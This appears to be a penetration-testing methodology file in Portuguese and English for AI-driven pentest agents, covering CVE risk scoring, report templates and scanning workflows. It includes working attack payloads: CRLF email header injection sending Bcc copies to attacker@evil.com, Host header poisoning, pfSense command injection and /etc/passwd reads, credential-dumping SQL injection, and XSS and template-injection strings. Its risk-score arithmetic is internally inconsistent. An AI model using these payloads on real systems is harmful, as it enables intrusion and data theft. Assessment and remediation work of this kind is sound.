# Phase 2: WorstAssume for AWS IAM assessment
worst enumerate --profile <profile> --stealth
worst assess --min-severity HIGH --output json > worst_findings.json
# Phase 3: Consolidate findings
# Nettacker: External CVEs and misconfigurations
# WorstAssume: IAM privilege escalation paths
# Combined: Complete attack surface view
jq -s '.[0].nettacker_vulns + .[1].worst_findings' \
nettacker_external.json worst_findings.json > consolidated_findings.json
# Get API key
API_KEY=$(docker logs nettacker 2>&1 | grep "API Key" | awk '{print $4}')
# Submit vulnerability scan
curl -k -X POST "https://localhost:5000/new/scan" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "key=${API_KEY}&targets=target.com&selected_modules=*_vuln&report_path_filename=/tmp/vuln.html"
# Check scan status
curl -k "https://localhost:5000/results/get_list?page=1" \
-H "Cookie: key=${API_KEY}" | jq '.[].scan_method'
# Get vulnerabilities in JSON
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}" \
| jq '.[] | select(.TYPE | contains("vuln"))'
# Export for SIEM (SARIF format)
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}" \
| python3 convert_to_sarif.py > findings.sarif
# Initial baseline scan
docker run --rm -v $(pwd):/data owasp/nettacker \
-i target.com -m port_scan,*_vuln \
-o /data/baseline.html
# Later scan for comparison
docker run --rm -v $(pwd):/data owasp/nettacker \
-i target.com -m port_scan,*_vuln \
-o /data/current.html
# Compare results (manual or scripted)
# Look for:
# - New open ports
# - New vulnerabilities
# - Changed service versions
# - Expired certificates
# Nettacker has built-in compare feature via CLI
python nettacker.py -i target.com -m all -K [baseline_scan_id] -J compare_report.html
# Fórmula de priorização do Claude-OSINT
def calculate_risk_score(cve_id):
cvss_score = get_cvss(cve_id) * 10 # 0-100
epss_score = get_epss(cve_id) * 100 # 0-100
kev_multiplier = 1.5 if is_in_kev(cve_id) else 1.0
poc_multiplier = 1.3 if has_poc(cve_id) else 1.0
# Peso: EPSS (40%), CVSS (30%), KEV (20%), PoC (10%)
risk = (epss_score * 0.40) + (cvss_score * 0.30)
risk *= kev_multiplier if kev_multiplier > 1 else 1.0
risk *= poc_multiplier if poc_multiplier > 1 else 1.0
return min(100, risk)
CRITICAL (90-100):
- CVE no CISA KEV + EPSS > 0.80 + PoC weaponized
- Exemplo: CVE-2021-44228 (Log4Shell), CVE-2026-41940 (cPanel)
HIGH (70-89):
- CVE no KEV ou EPSS > 0.50 + PoC available
- Exemplo: CVE-2023-42326 (pfSense Command Injection)
MEDIUM (40-69):
- EPSS > 0.20 ou CVSS > 7.0
- Vulnerabilidades com exploit teórico
LOW (0-39):
- EPSS < 0.20, sem KEV, sem PoC
- Vulnerabilidades de baixa probabilidade de exploração
# Single CVE
curl -s "https://api.first.org/data/v1/epss?cve=CVE-2026-41940" | jq '.data[0].epss'
# Batch lookup
curl -s "https://api.first.org/data/v1/epss?cve=CVE-2021-44228,CVE-2023-42326,CVE-2026-41940" | \
jq '.data[] | "\(.cve): \(.epss)"'
# Threshold: EPSS > 0.45 = prioridade alta (top 5%)
# Check if CVE is in KEV (actively exploited)
curl -s "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" | \
jq '.vulnerabilities[] | select(.cveVulnID == "CVE-2026-41940")'
# KEV categories:
# - Ransomware: Vulnerabilities exploited for ransomware
# - Zero-day: Vulnerabilities exploited before patch
# - Heavily Exploited: Widespread exploitation
# GitHub search for PoC
curl -s "https://api.github.com/search/code?q=CVE-2026-41940+exploit" | \
jq '.total_count'
# Exploit-DB search
curl -s "https://www.exploit-db.com/api/v1/search?q=CVE-2026-41940" | \
jq '.total'
# Nuclei template check
curl -s "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/cves/CVE-2026-41940.yaml" | \
head -20
FINDING: [PATH-ID from worst assess output]
CATEGORY: [WEAK_TRUST/PERMISSIVE_POLICY/RESOURCE_WILDCARD/USER_CONFIG/GROUP_CONFIG]
SEVERITY: [CRITICAL/HIGH/MEDIUM/LOW/INFO]
ORIGINAL_SEVERITY: [severity before downgrade]
AFFECTED RESOURCE:
- ARN: [entity_arn from finding]
- Type: [entity_type: role/user/group]
- Account: [account_id]
DESCRIPTION:
[message from finding - explains the vulnerability]
EVIDENCE:
[condition from finding - JSON trust policy or policy document]
[principal_detail - additional context]
PERMISSION RISK: [perm_risk from finding]
DOWNGRADE NOTE: [downgrade_note - if severity was reduced]
VALIDATION STEPS:
1. [Manual AWS CLI command to verify]
2. [Expected output confirming finding]
REMEDIATION:
[Specific remediation based on category]
PTES REFERENCE:
- Section 3.1: Vulnerability Testing
- Section 3.2: Vulnerability Validation
FINDING: CVE-2026-41940-AUTH-BYPASS
CATEGORY: VULNERABILITY
SEVERITY: CRITICAL
RISK SCORE: 98/100
AFFECTED RESOURCE:
- Target: cPanel/WHM <= 120.0.23
- Port: 2087/tcp (WHM)
- Service: cPanel HTTP API
DESCRIPTION:
Authentication bypass vulnerability allows remote attackers
to gain administrative access to WHM without valid credentials.
RISK SCORING:
- CVSS v3.1: 9.8 (CRITICAL)
- EPSS Score: 0.95 (95th percentile)
- CISA KEV: YES (actively exploited)
- PoC Status: Publicly available (weaponized)
CALCULATION:
- Base: (98 * 0.30) + (95 * 0.40) = 67.4
- KEV multiplier: 67.4 * 1.5 = 101.1
- PoC multiplier: 101.1 * 1.3 = 131.4
- Final: min(100, 131.4) = 98/100
EVIDENCE:
# NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41940
# EPSS: https://www.first.org/epss/
# KEV: https://www.cisa.gov/known-exploited-vulnerabilities
VALIDATION:
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://target.com:2087 detect
REMEDIATION:
1. Upgrade to cPanel/WHM >= 120.0.24 immediately
2. Rotate all administrative credentials
3. Review access logs for unauthorized access
4. Implement IP-based access restrictions
5. Enable MFA for all administrative accounts
PTES REFERENCE: Section 3.1.2 (Automated Tools)
┌────────────────────┬──────────────┬─────────────┬──────────────┐
│ CVE │ Asset Type │ Impact │ Priority │
├────────────────────┼──────────────┼─────────────┼──────────────┤
│ CVE-2026-41940 │ cPanel/WHM │ RCE/Auth │ CRITICAL │
│ CVE-2023-42326 │ pfSense │ Command Inj │ HIGH │
│ CVE-2021-44228 │ Log4j │ RCE │ CRITICAL │
│ CVE-2020-5902 │ F5 BIG-IP │ RCE │ CRITICAL │
│ CVE-2019-19781 │ Citrix ADC │ RCE │ CRITICAL │
│ CVE-2024-41940 │ pfSense │ Auth Bypass │ HIGH │
│ CVE-2022-40624 │ pfBlockerNG │ XSS │ MEDIUM │
└────────────────────┴──────────────┴─────────────┴──────────────┘
Attack Path Example:
1. Subdomain takeover (recon) → deploy malicious JS
2. Steal admin credentials (exploitation)
3. CVE-2026-41940 bypass (privilege escalation)
4. Full server compromise (impact)
Correlation:
- Subdomain risk + CVE risk = Combined risk
- If both HIGH: escalate to CRITICAL
SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.
Normal header construction:
To: user@example.com\r\n
Subject: Contact Form\r\n
From: noreply@target.com\r\n
Injected (via Subject field):
Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
Result:
Subject: Hello\r\n
Bcc: attacker@evil.com\r\n
| Encoding | Payload |
|---|---|
| URL-encoded | %0d%0a |
| Double URL-encoded | %250d%250a |
| Unicode | \u000d\u000a |
| Raw CRLF | \r\n (in raw request) |
| LF only | %0a (some SMTP servers accept LF without CR) |
| Null byte + CRLF | %00%0d%0a |
1. BCC Injection — Silent Email Exfiltration
Input: victim@target.com%0d%0aBcc:attacker@evil.com
Effect: attacker receives copy of every email
2. CC Injection with Header Stacking
Input: John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
Result: Multiple headers injected
3. Body Injection — Full Email Content Control
Input: Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish
Effect: Blank line terminates headers, rest is body
4. Reply-To Manipulation for Phishing
Input: IT Support%0d%0aReply-To:attacker@evil.com
Effect: Replies go to attacker
5. Content-Type Injection for HTML Phishing
Input: test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Phishing</h1>
Effect: Overrides Content-Type → renders HTML
// PHP mail() - ALL parameters injectable
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";
mail($to, $subject, $message, $headers);
# Python smtplib - user_from/user_subject injectable
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
// Node.js nodemailer - from/subject injectable
let mailOptions = {
from: req.body.from,
to: 'admin@target.com',
subject: req.body.subject,
text: req.body.message
};
transporter.sendMail(mailOptions);
# Step 1: Identify email-sending functionality
# - Contact forms
# - Password reset
# - Email notifications
# - Invite/share features
# Step 2: Test all input fields for CRLF injection
curl -X POST https://target.com/contact \
-d "email=victim@test.com%0d%0aBcc:attacker@evil.com" \
-d "subject=Test%0d%0aX-Injected: header"
# Step 3: Check email headers received by victim
# Look for injected headers in received email
# Step 4: Verify impact
# - Can you receive copies? (BCC injection)
# - Can you modify content? (Body injection)
# - Can you spoof sender? (From/Reply-To injection)
- Sanitize all input before including in email headers
- Remove or encode CRLF characters: str_replace(["\r", "\n"], '', $input)
- Use mail libraries that handle header encoding automatically
- Implement allowlists for header values where possible
- Log and monitor email sending for anomalies
1. Password Reset Poisoning
Host: evil.com
Response: Reset link → https://evil.com/reset?token=xxx
2. Web Cache Deception
Host: target.com.evil.com
Cache key confusion → serve malicious content
3. Virtual Host Confusion
Host: admin.target.com
Access internal vhosts not meant for public
4. SSRF via Host Header
Host: localhost:8080
Internal service access via Host manipulation
# Basic Host header injection
curl -H "Host: evil.com" https://target.com/
# Host header with port
curl -H "Host: target.com:8080" https://target.com/
# Host header array (HTTP/2)
curl --http2 -H "Host: evil.com" https://target.com/
# X-Forwarded-Host chain
curl -H "X-Forwarded-Host: evil.com" \
-H "X-Original-Host: evil.com" \
-H "Host: target.com" https://target.com/
Reflected: Input → Server → Output (same response)
Stored: Input → Server → Database → Output (later)
DOM: Input → Client-side JS → DOM (no server round-trip)
Testing:
- HTML context: <img src=x onerror=alert(1)>
- JS context: ';alert(1);//
- Attribute context: " onmouseover="alert(1)"
- Template context: {{constructor.constructor('alert(1)')()}}
| Template Engine | Detection Payload |
|---|---|
| Jinja2 (Python) | {{7*'7'}} → 7777777 |
| Twig (PHP) | {{7*'7'}} → 7777777 |
| Freemarker (Java) | ${7*7} → 49 |
| EJS (Node) | <%= 7*7 %> → 49 |
| Pug (Node) | #{7*7} → 49 |
| Django (Python) | {% if 7==7 %}yes{% endif %} |
| Velocity (Java) | #set($x=7) $x*7 |
VULNERABILITY ASSESSMENT EXECUTIVE SUMMARY
OVERVIEW:
- Total Vulnerabilities: [X]
- Critical: [X] | High: [X] | Medium: [X] | Low: [X]
- Actively Exploited (KEV): [X]
- Public Exploits Available: [X]
TOP 3 PRIORITIES:
1. CVE-2026-41940 (cPanel Auth Bypass) - Risk: 98/100
- Immediate action required
- Actively exploited in the wild
2. CVE-2023-42326 (pfSense Command Injection) - Risk: 87/100
- Remote code execution possible
- PoC publicly available
3. [Finding 3] - Risk: [X]/100
TIMELINE:
- Immediate (24h): Patch CRITICAL findings
- Short-term (7d): Patch HIGH findings
- Medium-term (30d): Address MEDIUM/LOW findings
BUSINESS IMPACT:
[Describe potential business impact if exploited]
TECHNICAL VULNERABILITY REPORT
METHODOLOGY:
- Automated scanning: OWASP Nettacker, Nuclei, Nikto
- Manual validation: [tools/techniques]
- Risk scoring: CVSS v3.1 + EPSS + KEV + PoC
FINDINGS SUMMARY:
[Table with all findings, risk scores, and status]
DETAILED FINDINGS:
[For each CVE/finding:]
- CVE ID / Finding Name
- Risk Score (0-100)
- CVSS Vector
- EPSS Score
- KEV Status
- PoC Availability
- Affected Asset
- Technical Description
- Evidence (screenshots, output)
- Validation Steps
- Remediation
- References
APPENDICES:
- Tool output logs
- Full CVE details
- Patch links and vendor advisories
# Version detection
curl -sk https://pfsense.target.com/ | grep -iE "version|2\.[0-9]"
# CVE-2023-42326 (Command Injection)
# Test: /interfaces_gif_edit.php
curl -sk "https://pfsense.target.com/interfaces_gif_edit.php" \
-X POST -d "if=gif0&address=127.0.0.1%3Bid"
# CVE-2025-53392 (File Read)
# Test: Arbitrary file read
curl -sk "https://pfsense.target.com/filemanager.php" \
-d "path=/etc/passwd"
# CVE-2024-41940 (Authentication Bypass)
# Test: Cookie manipulation
curl -sk "https://pfsense.target.com/index.php" \
-H "Cookie: pfSenseSession=1; tfa_verified=1"
# Package vulnerabilities (pfBlockerNG, Suricata, Snort)
# Check installed packages
curl -sk -u admin:password \
"https://pfsense.target.com/pkg_mgr.php" | grep -iE "pfBlocker|suricata|snort"
FINDING: CVE-2023-42326-COMMAND-INJECTION
CATEGORY: VULNERABILITY
SEVERITY: HIGH
RISK SCORE: 87/100
AFFECTED RESOURCE:
- Target: pfSense 2.7.0
- Component: interfaces_gif_edit.php
- Port: 443/tcp
DESCRIPTION:
Command injection vulnerability in pfSense GIF interface
configuration allows authenticated attackers to execute
arbitrary system commands.
RISK SCORING:
- CVSS v3.1: 8.7 (HIGH)
- EPSS Score: 0.45
- CISA KEV: NO
- PoC Status: Publicly available
EVIDENCE:
# NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-42326
# PoC: https://github.com/[redacted]/pfsense-cve-2023-42326
VALIDATION:
curl -sk "https://target/interfaces_gif_edit.php" \
-X POST -d "if=gif0&address=127.0.0.1%3Bid"
# Expected: Command output in response
REMEDIATION:
1. Upgrade to pfSense 2.7.2 or later
2. Restrict admin access to trusted IPs
3. Implement MFA for administrative access
4. Monitor logs for exploitation attempts
PTES REFERENCE: Section 3.1.2 (Automated Tools)
# Calculate risk score for discovered CVEs
airecon "calculate risk scores for CVE-2021-44228, CVE-2026-41940, CVE-2023-42326"
# Prioritize vulnerabilities by exploitability
airecon "prioritize vulnerabilities by EPSS score and KEV status"
# Check exploit availability
airecon "check if public exploits exist for CVE-2026-41940"
# Generate vulnerability report
airecon "generate vulnerability report with risk scoring"
# AIRecon invokes cve-mcp tools automatically:
airecon "get CVE summary for CVE-2026-41940"
# → mcp__cve-mcp__get_cve_summary
airecon "check KEV status for CVE-2026-41940"
# → mcp__cve-mcp__check_kev
airecon "get EPSS score for CVE-2026-41940"
# → mcp__cve-mcp__get_epss_score
airecon "calculate composite risk score"
# → mcp__cve-mcp__calculate_risk_score
# Watchtower prioritizes by risk automatically
python -m watchtower.main -t https://target.com \
--focus critical_vulns \
--skip-ask-tools
# Watchtower uses cve-mcp for scoring:
# 1. Detects CVEs via nuclei/nikto
# 2. Queries EPSS/KEV via cve-mcp
# 3. Checks PoC availability via GitHub/Exploit-DB
# 4. Calculates risk score (0-100)
# 5. Prioritizes findings in report
# 1. WorstAssume for IAM findings
worst assess --min-severity HIGH --output json > worst_findings.json
# 2. Watchtower for external CVEs
python -m watchtower.main -t https://target.com --skip-ask-tools
# 3. AIRecon correlates and prioritizes
airecon "correlate worstassume IAM findings with watchtower CVE findings"
airecon "generate unified risk report"
/sqli-test - SQL Injection Testing Assistantsecurity-fuzzing plugin)Local: `seclists-categories fuzzing/fuzzing/references/Fuzzing/`
Wordlists Disponíveis:
- `quick-SQLi.txt` - Quick initial tests
- `Generic-SQLi.txt` - Generic payloads
- `MySQL.fuzzdb.txt` - MySQL-specific
- `PostgreSQL.fuzzdb.txt` - PostgreSQL-specific
- `sqli.auth.bypass.txt` - Authentication bypass
- `NoSQL.txt` - NoSQL injection vectors
Phase 1: Detection
- Test if special characters are filtered: ' " )
- Check for error messages or behavior changes
- Identify the database type
Phase 2: Basic Exploitation
- Try simple script tags: ' OR '1'='1
- Test UNION-based injection
- Check for blind SQLi
Phase 3: Filter Bypass
- Case variations: ' OR '1'='1
- Encoding: URL encoding, HTML entities
- Comment styles: --, #, /*, %23
Phase 4: Data Extraction
- Enumerate databases: UNION SELECT schema_name FROM information_schema.schemata
- Extract tables: UNION SELECT table_name FROM information_schema.tables
- Dump credentials: UNION SELECT username, password FROM users
/sqli-test# Iniciar teste interativo
/sqli-test
# O comando irá perguntar:
1. Tipo de database? (MySQL, PostgreSQL, MSSQL, Oracle)
2. Ponto de injeção? (GET parameter, POST data, header)
3. Tipo de injeção? (Error-based, Union-based, Blind, Time-based)
4. WAF detectado?
-- Basic tests
' OR '1'='1
" OR "1"="1
' OR 1=1--
" OR 1=1--
-- UNION-based
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT username, password FROM users--
-- Error-based
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--
-- Blind SQLi
' AND 1=1--
' AND 1=2--
' AND SLEEP(5)--
-- Authentication bypass
admin'--
' OR ''='
/xss-test - XSS Vulnerability Testing Assistantsecurity-payloads plugin)Local: `seclists-categories payloads/payloads/references/`
Payloads Disponíveis:
- XSS vectors para diferentes contexts
- Filter bypass techniques
- Encoding strategies
- Polyglot payloads
Phase 1: Detection
- Test if special characters are reflected: <>"'
- Check how input is rendered in the page
- Identify the injection context
Phase 2: Basic Exploitation
- Try simple script tags: <script>alert(1)</script>
- Test event handlers: <img src=x onerror=alert(1)>
- Try various tag types if scripts are filtered
Phase 3: Filter Bypass
- Case variations: <ScRiPt>
- Encoding: <script>, \u003cscript\u003e
- Alternative tags and attributes
- Polyglot payloads
Phase 4: Proof of Concept
- Demonstrate impact with safe POC
- Document the vulnerability
- Provide remediation advice
/xss-test# Iniciar teste interativo
/xss-test
# O comando irá perguntar:
1. Onde está o injection point? (URL parameter, form field, header)
2. Qual contexto? (HTML body, attribute, JavaScript, CSS)
3. Algum filtro ou encoding detectado?
4. Tipo de XSS? (Reflected, Stored, DOM-based)
// HTML Body
<script>alert(1)</script>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
// HTML Attribute
" onmouseover="alert(1)"
' autofocus onfocus='alert(1)'
// JavaScript Context
'-alert(1)-'
';alert(1);//
// URL Context
javascript:alert(1)
data:text/html,<script>alert(1)</script>
// Filter Bypass
<ScRiPt>alert(1)</ScRiPt>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
- Use alert(document.domain) para provar XSS
- Use console.log() para testes menos intrusivos
- Evite acessar cookies ou dados sensíveis desnecessariamente
Após completar esta fase, prossiga para pentest-exploitation (PTES Section 4)
AIRecon é um agente autônomo de penetration testing (v0.1.7-beta) que pode ser invocado como ferramenta incremental durante vulnerability analysis para automatizar testes de SQLi, XSS, CVE detection, e validação de vulnerabilidades.
# AIRecon com keywords de vulnerability analysis
airecon "pentest vulnerability analysis sqli xss cve detection target.com"
# AIRecon detectará keywords e carregará:
# - pentest-vulnerability-analysis.md (skill primária)
# - pentest-exploitation.md (para validação de exploits)
# - MCP tools: cve-mcp, hexstrike (sqlmap, nuclei, nikto)
# Para pfSense-specific vulnerability analysis:
airecon "pfsense vulnerability analysis CVE scanning 2.7.0"
# Para HTTP header injection testing:
airecon "http header injection bypass testing https://target.com/restricted"
# SQL Injection testing
/sqli-test --target https://target.com/page?id=1 --database mysql
# XSS vulnerability testing
/xss-test --target https://target.com/search?q=test --context html-body
# Network vulnerability scanning
/naabu-scan --target target.com -p 443,80,8080 --vuln-scan
# Webshell detection (post-exploitation vuln analysis)
/webshell-detect --target /var/www/html --recursive
# API key discovery em código fonte
/api-keys --target ./src --recursive --patterns aws,github,gcp
Durante vulnerability analysis, AIRecon pode invocar MCP tools automaticamente:
# cve-mcp: CVE lookup, EPSS scores, vulnerability validation
airecon "get CVE summary for CVE-2026-41940"
# → Usará mcp__cve-mcp__get_cve_summary
airecon "check exploit availability CVE-2026-41940"
# → Usará mcp__cve-mcp__check_exploit_availability
# hexstrike-local: Vulnerability scanning tools
airecon "run sqlmap scan on https://target.com/page?id=1"
# → Usará mcp__hexstrike-local__sqlmap_scan
airecon "run nuclei vulnerability scan on target.com"
# → Usará mcp__hexstrike-local__nuclei_scan
airecon "run nikto web vulnerability scan on https://target.com"
# → Usará mcp__hexstrike-local__nikto_scan
airecon "run dalfox XSS scan on https://target.com/search?q=test"
# → Usará mcp__hexstrike-local__dalfox_xss_scan
airecon "run jaeles vulnerability scan with custom signatures"
# → Usará mcp__hexstrike-local__jaeles_vulnerability_scan
# pentestswarm-remote: Automated vulnerability campaigns
airecon "start vulnerability assessment campaign for target.com"
# → Usará mcp__pentestswarm-remote__start_campaign
# 1. Usar AIRecon para carregar vulnerability analysis skill
airecon "pentest vulnerability analysis aws"
# 2. AIRecon auto-carrega pentest-vulnerability-analysis.md
# 3. Invocar WorstAssume para security assessment
airecon "run worst assess --min-severity HIGH --output json"
# 4. Para cada finding, AIRecon valida automaticamente:
airecon "validate finding WildcardTrustNoCondition"
# 5. Invocar Nettacker para CVE scanning externo
airecon "docker run --rm owasp/nettacker -i target.com -m *_vuln"
# 6. AIRecon consolida findings do WorstAssume + Nettacker
# 7. Exportar relatório consolidado
airecon "export vulnerability report to HTML"
# 1. Iniciar teste de SQL injection via AIRecon
airecon "/sqli-test --target https://target.com/page?id=1"
# 2. AIRecon executa testes em fases:
# Phase 1: Detection (caracteres especiais)
# Phase 2: Basic Exploitation (OR '1'='1)
# Phase 3: Filter Bypass (encoding, case variations)
# Phase 4: Data Extraction (UNION-based)
# 3. Se SQLMap disponível, AIRecon integra automaticamente
airecon "run sqlmap --url https://target.com/page?id=1 --batch"
# 4. AIRecon gera finding técnico
airecon "export sqli finding to JSON"
# 1. Iniciar teste de XSS via AIRecon
airecon "/xss-test --target https://target.com/search?q=test"
# 2. AIRecon detecta contexto automaticamente:
# - HTML Body
# - HTML Attribute
# - JavaScript Context
# - URL Context
# 3. AIRecon executa Dalfox para XSS scanning
airecon "dalfox url https://target.com/search?q=test"
# 4. Se XSS detectado, AIRecon gera POC seguro
airecon "generate safe XSS POC alert(document.domain)"
# 5. Exportar finding
airecon "export xss finding with remediation"
| Keywords Detectadas | Skills Carregadas | MCP Tools Ativados |
|---|---|---|
sqli sql injection | pentest-vulnerability-analysis | hexstrike (sqlmap) |
xss cross-site scripting | pentest-vulnerability-analysis | hexstrike (dalfox, jaeles) |
cve vulnerability | pentest-vulnerability-analysis | cve-mcp, hexstrike (nuclei) |
pfsense firewall | pentest-pfsense | cve-mcp, hexstrike (nikto) |
header injection bypass | pentest-vulnerability-analysis | hexstrike (http_framework_test) |
webshell backdoor | pentest-post-exploitation | hexstrike (strings_extract) |
# AIRecon pode orquestrar scans completos do Nettacker
airecon "run nettacker full vulnerability scan on target.com"
# Nettacker modules executados automaticamente:
# - Critical CVEs (Log4Shell, F5 BIG-IP, Citrix ADC)
# - SSL/TLS vulnerabilities (Heartbleed, weak ciphers)
# - HTTP security headers (CSP, HSTS, X-Frame-Options)
# - CMS vulnerabilities (WordPress, Joomla, Drupal)
# - Brute-force testing (FTP, SSH, HTTP)
# AIRecon processa output e gera findings estruturados
airecon "parse nettacker output and generate findings"
# Exportar em múltiplos formatos
airecon "export nettacker findings to HTML, JSON, SARIF"
# AIRecon prioriza CVEs baseado em risk score composto
airecon "prioritize CVEs by risk score for target.com"
# Risk score calculado via cve-mcp:
# - CVSS (base severity)
# - EPSS (exploit probability)
# - KEV status (actively exploited)
# - PoC availability (exploit maturity)
# Output exemplo:
# 1. CVE-2026-41940 (cPanel) - Risk: 98/100
# 2. CVE-2026-31431 (Linux LPE) - Risk: 92/100
# 3. CVE-2022-40624 (pfBlockerNG) - Risk: 87/100
# AIRecon testa header injection automaticamente
airecon "run headi on https://target.com/restricted"
# Headers testados (24 headers):
# X-Forwarded-For, X-Real-IP, X-Client-IP, etc.
# AIRecon detecta bypass automaticamente:
# - Content-Length changes
# - Status code changes (403 → 200)
# - Redirect behavior changes
# Exportar finding
airecon "export http header injection finding"
Watchtower é um framework de penetration testing baseado em LangGraph com arquitetura multi-agente (Planner, Worker, Analyst) que automatiza vulnerability scanning e análise usando 23 ferramentas de segurança.
# Vulnerability scanning completo com Watchtower
python -m watchtower.main -t https://www.example.com --skip-ask-tools
# Watchtower executará automaticamente:
# - Planner Agent: Planeja workflow de vulnerability analysis
# - Worker Agent: Executa ferramentas de scanning
# - Analyst Agent: Analisa e valida vulnerabilidades
# Scan focado em vulnerabilidades web
python -m watchtower.main -t https://www.example.com \
--focus web_vulns \
--skip-ask-tools
# Scan de vulnerabilidades SSL/TLS
python -m watchtower.main -t https://www.example.com \
--focus ssl_tls \
--skip-ask-tools
# Full vulnerability scan
/watchtower-vuln --target https://www.example.com
# CVE-specific scanning
/watchtower-vuln --target https://www.example.com --cve CVE-2021-44228
# CMS vulnerability scanning
/watchtower-vuln --target https://www.example.com --cms wordpress
# SSL/TLS vulnerability analysis
/watchtower-vuln --target https://www.example.com --ssl-analysis
# HTTP security headers check
/watchtower-vuln --target https://www.example.com --headers-check
Watchtower integra-se com MCP tools automaticamente durante vulnerability analysis:
# hexstrike-local: Vulnerability scanning tools
# - nuclei_scan: Template-based vulnerability detection
# - nikto_scan: Web server vulnerability assessment
# - dalfox_xss_scan: Advanced XSS scanning
# - xsser_scan: XSS vulnerability testing
# - sqlmap_scan: SQL injection testing
# - wpscan_analyze: WordPress vulnerability scanning
# - jaeles_vulnerability_scan: Advanced signature-based scanning
# CVE intelligence via cve-mcp
# - search_cves: Busca CVEs por keyword/software
# - get_cve_summary: Resumo completo de CVE
# - check_exploit_availability: Verifica exploits públicos
# - get_epss_score: EPSS scoring para priorização
# - check_kev: CISA KEV catalog check
# - calculate_risk_score: Risk score composto (CVSS+EPSS+KEV+PoC)
# pentestswarm-remote: Automated campaigns
# - scan_target: Full pentest flow
# - start_campaign: Stateful campaign
# - get_campaign_findings: Coleta vulnerabilidades
# virustotal: Reputation analysis
# - get_url_report: URL security analysis
# - get_domain_report: Domain reputation
# 1. Watchtower Planner analisa target e planeja scan
python -m watchtower.main -t https://www.example.com --skip-ask-tools
# 2. Watchtower executa em paralelo:
# - Web vulnerability scanning (nuclei, nikto, jaeles)
# - XSS detection (dalfox, xsstrike, xsser)
# - SQL injection testing (sqlmap)
# - CMS-specific scanning (wpscan, joomscan)
# - SSL/TLS analysis (testssl.sh, sslyze)
# - HTTP security headers check
# 3. Watchtower Analyst:
# - Correlaciona findings de múltiplas ferramentas
# - Remove falsos positivos
# - Prioriza por severidade (CVSS + EPSS)
# - Verifica exploit availability
# 4. Relatório PDF gerado automaticamente
python -m watchtower.main --report "vulnerability_report.pdf"
# Watchtower verifica CVE específico
python -m watchtower.main -t https://www.example.com \
--verify-cve CVE-2021-44228 \
--skip-ask-tools
# Watchtower executará:
# 1. Version detection (whatweb, nmap -sV)
# 2. CVE matching via cve-mcp
# 3. Exploit availability check
# 4. Validation testing
# Se CVE confirmado:
# - Watchtower Analyst categoriza como CRITICAL
# - Incluído automaticamente no relatório
# - Remediation recommendations geradas
# Watchtower detecta e analisa vulnerabilidades pfSense
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools
# Detecção automática:
# - whatweb: pfSense version detection
# - nmap -sV: Service version detection
# - cve-mcp: CVE mapping para versão detectada
# Vulnerabilidades verificadas automaticamente:
# - CVE-2023-42326 (Command Injection)
# - CVE-2025-53392 (File Read)
# - CVE-2024-41940 (Authentication Bypass)
# - Package vulnerabilities (pfBlockerNG, Suricata, Snort)
# Se vulnerabilidades encontradas:
# - Watchtower Analyst prioriza por severidade
# - Verifica exploit availability
# - Gera remediation recommendations
# Watchtower detecta e analisa cPanel/WHM
python -m watchtower.main -t https://target.com:2087 --skip-ask-tools
# Detecção automática:
# - whatweb: cPanel/WHM fingerprinting
# - nmap -sV: Service version detection
# - cve-mcp: CVE-2026-41940 verification
# Se CVE-2026-41940 detectado:
# - Watchtower carrega pentest-exploitation skill
# - Executa poc.py para confirmação
# - Categoriza como CRITICAL (CVSS 9.8)
# - Incluído no relatório com remediation
| Keywords Detectadas | Skills Carregadas | Watchtower Tools Ativadas |
|---|---|---|
web vuln cve | pentest-vulnerability-analysis | nuclei, nikto, jaeles |
xss | pentest-vulnerability-analysis | dalfox, xsstrike, xsser |
sqli sql injection | pentest-exploitation | sqlmap |
ssl tls | pentest-vulnerability-analysis | testssl.sh, sslyze |
wordpress wp | pentest-exploitation | wpscan |
http headers | pentest-vulnerability-analysis | nuclei (header checks) |
pfsense | pentest-pfsense | cve-mcp, whatweb, nmap |
cpanel whm | pentest-exploitation | cve-mcp (CVE-2026-41940) |
| Tool | Category | Vulnerability Types | Speed |
|---|---|---|---|
| nuclei | Vuln Scanning | 1000+ templates (CVEs, misconfigs) | Fast |
| nikto | Web Scanning | Web server vulns, outdated software | Moderate |
| dalfox | XSS Scanning | Reflected, stored, DOM XSS | Fast |
| xsstrike | XSS Scanning | XSS detection + payload generation | Fast |
| xsser | XSS Scanning | Comprehensive XSS testing | Moderate |
| sqlmap | SQL Injection | SQLi detection + exploitation | Moderate |
| wpscan | CMS Scanning | WordPress vulns, plugins, themes | Fast |
| testssl.sh | SSL/TLS | SSL/TLS misconfigurations | Moderate |
| sslyze | SSL/TLS | Certificate + protocol analysis | Fast |
| jaeles | Vuln Scanning | Signature-based scanning | Fast |
| whatweb | Tech Detection | Version disclosure vulns | Fast |
| wafw00f | WAF Detection | WAF bypass requirements | Fast |
# Watchtower usa cve-mcp automaticamente para:
# 1. CVE Search
mcp__cve-mcp__search_cves(query="apache 2.4.57", severity="HIGH")
# 2. CVE Summary
mcp__cve-mcp__get_cve_summary(cve_id="CVE-2021-44228")
# 3. Exploit Availability
mcp__cve-mcp__check_exploit_availability(cve_id="CVE-2021-44228")
# 4. EPSS Score
mcp__cve-mcp__get_epss_score(cve_ids="CVE-2021-44228")
# 5. KEV Check
